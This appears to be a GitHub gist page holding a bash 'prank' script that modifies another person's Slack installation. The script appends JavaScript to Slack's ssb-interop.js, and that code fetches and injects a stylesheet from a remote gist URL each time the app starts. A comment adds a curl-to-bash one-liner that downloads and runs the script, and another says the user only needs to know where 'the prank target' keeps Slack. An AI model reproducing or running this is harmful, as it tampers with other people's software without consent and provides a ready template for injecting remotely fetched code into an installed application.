Skip to content

Instantly share code, notes, and snippets.

@rrichardsonv
Last active June 23, 2022 21:42
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rrichardsonv/07155b961b160a9544ca8516b760f1e1 to your computer and use it in GitHub Desktop.
Save rrichardsonv/07155b961b160a9544ca8516b760f1e1 to your computer and use it in GitHub Desktop.
script for bad css prank
#!/bin/bash
set -e
CRAPPY_CSS_REQUESTER=$(cat <<-END
// ----------------------- PRANK COOOODE ---------------------------
// CSS Hell stylesheet appender. Makes a request on load and appends a terrifyingly bad stylesheet
document.addEventListener('DOMContentLoaded', function () {
\$.ajax({
url: 'https://gist.githubusercontent.com/rrichardsonv/09df45442428da954f6e62f4f1ce8f05/raw/16b20d0025ef961fce46bf2ad13798fc67368c6f/classic_bad_css.css',
success: function (css) {
\$('<style></style>').appendTo('head').html(css);
}
});
});
// ----------------------- PRANK COOOODE ---------------------------
END
)
echo "Enter or drag from finder the path to the Slack application"
echo "Note: Make sure it ends in .app"
read slackPath
# Remove trailing whitespace
CLEAN_SLACK_PATH="$(echo -e "${slackPath}" | sed -e 's/[[:space:]]*$//')/Contents/Resources/app.asar.unpacked/src/static/ssb-interop.js"
echo "Appending css request logic to $CLEAN_SLACK_PATH"
echo "$CRAPPY_CSS_REQUESTER" >> "$CLEAN_SLACK_PATH"
echo "It is done, the prank will be live once the application restarts"
@rrichardsonv
Copy link
Author

Curl command for script above

bash -c "$(curl -fsSL gist.githubusercontent.com/rrichardsonv/07155b961b160a9544ca8516b760f1e1/raw/0a50e6ced094a6fba690beb0430c43b497263bec/append_crappy_css.sh)"

@rrichardsonv
Copy link
Author

All you need to know is where the prank target keeps their slack (dragging for speed is recommended as below)

easy_path

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment